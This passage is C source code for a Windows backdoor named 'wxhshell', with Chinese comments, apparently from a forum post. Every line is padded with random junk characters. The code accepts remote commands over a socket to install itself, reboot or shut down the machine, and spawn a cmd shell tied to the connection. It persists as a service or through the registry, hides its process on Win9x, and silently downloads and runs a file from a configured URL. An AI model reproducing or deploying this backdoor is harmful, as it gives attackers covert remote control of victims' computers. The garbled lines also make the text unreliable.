  } dKOW5\H'  
  else { % |6t\[gn  
cWd\Ki  
    switch(cmd[0]) { :f~[tox  
  IsaL+elq|  
  // 帮助 5eZ8$-&([  
  case '?': { DP(JsZ}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !L+4YA  
    break; Z/|oCwR  
  } M!{;:m28X!  
  // 安装 O3?3XB> <  
  case 'i': { 0={@GhjApL  
    if(Install()) RjII(4Et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j2U iZLuV  
    else bVB_KE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iK#5nY].  
    break; Q\P?[i]  
    } ^`W8>czi  
  // 卸载 5$v,%~$Xds  
  case 'r': { @AXRKYQ{t  
    if(Uninstall()) +YL9gNN>P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQZBap"  
    else Po%+:0oX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D[m+= -  
    break; P,$|.p d'  
    } k *a?Ey$  
  // 显示 wxhshell 所在路径 e~Oge  
  case 'p': { N W/RQ(  
    char svExeFile[MAX_PATH]; PRs[! EB6  
    strcpy(svExeFile,"\n\r"); X&B2&e;  
      strcat(svExeFile,ExeFile); $_j\b4]%  
        send(wsh,svExeFile,strlen(svExeFile),0); qdlz#-B  
    break; .,)C^hs@  
    } Dlc=[kf9  
  // 重启 mSw$? >  
  case 'b': { l>KkK|!T^i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0@FZQ$-  
    if(Boot(REBOOT)) ewo1^&#>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1;; is  
    else { #~&SkIhBE  
    closesocket(wsh); $.a4Og2  
    ExitThread(0); W[5a'}OV  
    } >i`V-"x  
    break; F"3LG"  
    } J 8/]&Ow  
  // 关机 #cN0ciCT'  
  case 'd': { e{ce \  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EFb1Y{u^\!  
    if(Boot(SHUTDOWN)) ,a:!"Z^ f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !+& Rn\e%7  
    else { $VWeo#b  
    closesocket(wsh); j}0W|*  
    ExitThread(0); SR,id B&i  
    } [k"@n+%  
    break; Ig9gGI,  
    } SDdefB  
  // 获取shell *rY@(|  
  case 's': { ~1x,m.f8  
    CmdShell(wsh); `/zx2Tkk  
    closesocket(wsh); 6`KAl rH  
    ExitThread(0); k`LoRqF  
    break; W?a{3B   
  } j@JhxCe1+R  
  // 退出 eYQq@lrWv  
  case 'x': { t0 [H_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mA ^[S.!  
    CloseIt(wsh); \#(3r1(  
    break; th@a./h"  
    } <<43 'N+  
  // 离开 y^7ol;t  
  case 'q': { {Vc%ga|E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dQ4VpR9|;  
    closesocket(wsh); %J*z!Fe8s  
    WSACleanup(); :Hk:Goo2  
    exit(1); .'zXO  
    break; >s@*S9cj:  
        } pEc|h*p8  
  } 8PWx>}XPt  
  } =")}wl=s  
>^cP]gG Y  
  // 提示信息 ? o@5PL  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CNC3">Dk~9  
} jv:!vi:  
  } |N9::),<  
`0l)\  
  return; 0?)U?=>]p  
} |5uvmK  
;Z\1PwT  
// shell模块句柄 jOJ$QT  
int CmdShell(SOCKET sock) X!}  t``  
{ d(.e%[`  
STARTUPINFO si; Y{6vW-z_<  
ZeroMemory(&si,sizeof(si)); _l?InNv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (!-gX" <b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -E6#G[JJ  
PROCESS_INFORMATION ProcessInfo; ]7 qn&(]  
char cmdline[]="cmd"; SZO$#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8MHYk>O~{G  
  return 0; H4s^&--  
} jo75M Sj  
7Ao9MF-  
// 自身启动模式 gWt}q-@nRR  
int StartFromService(void) hdL/zW7]  
{ {K\l3_=5qb  
typedef struct & PHejG_#  
{ 3F5Y#[L`  
  DWORD ExitStatus; RlRkw+%m  
  DWORD PebBaseAddress; 8dg \_H_  
  DWORD AffinityMask; I{8fTod  
  DWORD BasePriority; hT `kma  
  ULONG UniqueProcessId; dP>~ExYtm  
  ULONG InheritedFromUniqueProcessId; 6S#Y$2 P  
}   PROCESS_BASIC_INFORMATION; *R] Ob9X  
VR86ok  
PROCNTQSIP NtQueryInformationProcess; K>=KsG  
?F{sym@i  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^Eu]i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4uQ\JD(*Eu  
hf6=`M}>i  
  HANDLE             hProcess; s@USJ4#  
  PROCESS_BASIC_INFORMATION pbi; @Q!Jzw#B  
bSOxM /N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gbb2!q6p  
  if(NULL == hInst ) return 0;  %+\ PN  
mAycfa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j]-0m4QF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3j'A.S  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,EkzBVgo  
W[pOLc-  
  if (!NtQueryInformationProcess) return 0; I r8,=  
.hBq1p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G?:{9. (  
  if(!hProcess) return 0; b2}>{Li0  
W62 $ HI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N_dHPa  
.YV{wL@cB  
  CloseHandle(hProcess); -6 WjYJx  
^?pf.E!F`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YX A|1  
if(hProcess==NULL) return 0; []i/\0C^  
20 <$f  
HMODULE hMod; G`n|fuv  
char procName[255]; LAe>XF-5  
unsigned long cbNeeded; N$\'X<{  
eWKFs)C]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2nNBX2 o&_  
 8*nv+  
  CloseHandle(hProcess); w_c)iJ  
y^PQgzm]  
if(strstr(procName,"services")) return 1; // 以服务启动 ,g69?w  
r[doN{%  
  return 0; // 注册表启动 75@!j[QL<  
} cB$OkaG#  
#'poDX?  
// 主模块 ]><K8N3Z  
int StartWxhshell(LPSTR lpCmdLine) #[ei/p  
{ cyM9[X4rC  
  SOCKET wsl; eUBf-xA  
BOOL val=TRUE; %bu$t,  
  int port=0; C%2BDj  
  struct sockaddr_in door; _?]0b7X  
%7w=;]ym  
  if(wscfg.ws_autoins) Install(); 6Zr_W#SE  
&zuPt5G|  
port=atoi(lpCmdLine); OyI?P_0u  
`,lm:x+(0  
if(port<=0) port=wscfg.ws_port; o#"U8N%r  
KCBA`N8  
  WSADATA data; L/ L#[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z7vc|Z|  
5j8aMnvs  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   / .wO<l=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AnF"+<  
  door.sin_family = AF_INET; Sb2hM~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;jgk53lo  
  door.sin_port = htons(port); _Y{8FN(4  
Hw0S/ytY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M~rN17S  
closesocket(wsl); XmZs4~\K$G  
return 1; Tu!2lHK;  
} ]=gNA  
tTjadnX  
  if(listen(wsl,2) == INVALID_SOCKET) { y?6J%~\WP  
closesocket(wsl); \ltbiDP2  
return 1; -yP|CZM  
} ~Q+E""  
  Wxhshell(wsl); ;;4>vF#*  
  WSACleanup(); m|') A  
d4ga6N3'  
return 0; 9"W3t]  
|wxAdPe  
} DpRGPs  
5T*Uq>x0  
// 以NT服务方式启动 OLH[F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W u C2 LM  
{ 8O[br@h:5  
DWORD   status = 0; 1>c^-"#e^  
  DWORD   specificError = 0xfffffff; RJ\'"XQ  
#&k`-@b5|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 539f B,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jv ;8Mm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ff;9P5X  
  serviceStatus.dwWin32ExitCode     = 0; Io;x~i09K  
  serviceStatus.dwServiceSpecificExitCode = 0; < )qJI'u|  
  serviceStatus.dwCheckPoint       = 0; ?&`PN<~2z  
  serviceStatus.dwWaitHint       = 0; Ad}Nc"O  
]|xfKDu  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rSgOQ  
  if (hServiceStatusHandle==0) return; ;s$,}O.  
'?Jz8iu-  
status = GetLastError(); Z|#G+$"QV  
  if (status!=NO_ERROR) ts:YJAu+F  
{ Jkx_5kk/\  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; r"_U-w  
    serviceStatus.dwCheckPoint       = 0; ^g'P H{68  
    serviceStatus.dwWaitHint       = 0; 5i0vli /L  
    serviceStatus.dwWin32ExitCode     = status; 7DZZdH$Fm  
    serviceStatus.dwServiceSpecificExitCode = specificError; e0"80"D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]lqe,>  
    return; DqJzsk'd3  
  } W" i3:r  
p!o?2Lbiw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S4Q fx6:~h  
  serviceStatus.dwCheckPoint       = 0; UfkQG`G9H  
  serviceStatus.dwWaitHint       = 0; Hk 0RT%PK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {3* Ne /  
} r`\6+Ntb.  
d)WGI RUx  
// 处理NT服务事件,比如:启动、停止 3/{,}F$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) j5:/Gl8  
{ 4=nh' U38  
switch(fdwControl) >ufLRGL>  
{ V[;^{,;  
case SERVICE_CONTROL_STOP: u|+Dqe`  
  serviceStatus.dwWin32ExitCode = 0; #rI4\K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )p`zN=t  
  serviceStatus.dwCheckPoint   = 0; t" $#KP<  
  serviceStatus.dwWaitHint     = 0; ysH'X95  
  { MqAN~<l [  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'PvOOhm,  
  } Mp3nR5@d$  
  return; K'c[r0Ew  
case SERVICE_CONTROL_PAUSE: ["H2H rI2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cK1 Fv6V#  
  break; 5F78)q u6N  
case SERVICE_CONTROL_CONTINUE: D &Bdl5g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fzJ^`  
  break; 0: Nw8J  
case SERVICE_CONTROL_INTERROGATE: @@z5v bs'{  
  break; >c@jl  
}; Tr.u'b(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O~OM.:al&  
} AsfmH-4)  
._[uSBR'  
// 标准应用程序主函数 Zs|m_O G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?~3Pydrb#  
{ ^2`*1el  
v ;nnr0;  
// 获取操作系统版本 U?xa^QVhj  
OsIsNt=GetOsVer(); =/ +f3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8dLK5"_3  
-4v2]  
  // 从命令行安装 j" 5 +"j  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0TqIRUz "C  
em9nuXG  
  // 下载执行文件 @M*oq2U;  
if(wscfg.ws_downexe) { f;%=S:3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3z0 %uY[e  
  WinExec(wscfg.ws_filenam,SW_HIDE); nC}Y+_wo0  
} G.:QA}FE'  
+F92_a4  
if(!OsIsNt) { n >@Qx$-  
// 如果时win9x,隐藏进程并且设置为注册表启动 ROJ=ZYof  
HideProc(); (&1 56 5  
StartWxhshell(lpCmdLine); 6(/*E=bOKV  
} K*P:FCz  
else )@],0yL  
  if(StartFromService()) f<;eNN  
  // 以服务方式启动 Oh3A?!y#  
  StartServiceCtrlDispatcher(DispatchTable); 8^pu C  
else 2f5YkmGc";  
  // 普通方式启动 f&I5bPS7}  
  StartWxhshell(lpCmdLine); }BWT21'-Y  
F):1@.S  
return 0; ODxCD%L  
}
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只看该作者 1 发表于: 2006-10-10
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